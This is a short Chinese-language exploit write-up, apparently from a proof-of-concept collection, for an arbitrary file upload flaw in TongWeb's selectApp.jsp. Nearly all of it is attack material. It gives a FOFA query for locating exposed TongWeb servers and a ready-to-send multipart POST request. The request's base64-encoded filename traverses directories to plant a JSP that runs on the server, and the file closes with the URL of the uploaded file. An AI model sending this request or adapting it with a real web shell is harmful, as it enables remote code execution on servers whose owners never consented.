wy876_POC/东方通/东方通TongWeb-selectApp.jsp存在任意文件上传.md
2024-09-26 11:10:06 +08:00

38 lines
1.1 KiB
Markdown
Raw Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

## 东方通TongWeb-selectApp.jsp存在任意文件上传
东方通TongWeb-selectApp.jsp存在任意文件上传允许攻击者上传恶意文件到服务器可能导致远程代码执行、网站篡改或其他形式的攻击严重威胁系统和数据安全。
## fofa
```javascript
header="TongWeb Server" || banner="Server: TongWeb Server"
```
## poc
```javascript
POST /heimdall/pages/cla/selectApp.jsp HTTP/1.1
Host:
Content-Type: multipart/form-data; boundary=fa2ef860e94d564632e291131d20064c
User-Agent: Mozilla/5.0
--fa2ef860e94d564632e291131d20064c
Content-Disposition: form-data; name="app_fileName"
Li4vLi4vYXBwbGljYXRpb25zL2hlaW1kYWxsLzEyM3F3ZTEuanNw
--fa2ef860e94d564632e291131d20064c
Content-Disposition: form-data; name="app"
--fa2ef860e94d564632e291131d20064c
Content-Disposition: form-data; name="className"
test
--fa2ef860e94d564632e291131d20064c
Content-Disposition: form-data; name="uploadApp"; filename="test.jar"
Content-Type: application/java-archive
<% out.println(16156223+223415616); %>
--fa2ef860e94d564632e291131d20064c--
```
文件上传路径:`http://ip/heimdall/123qwe1.jsp`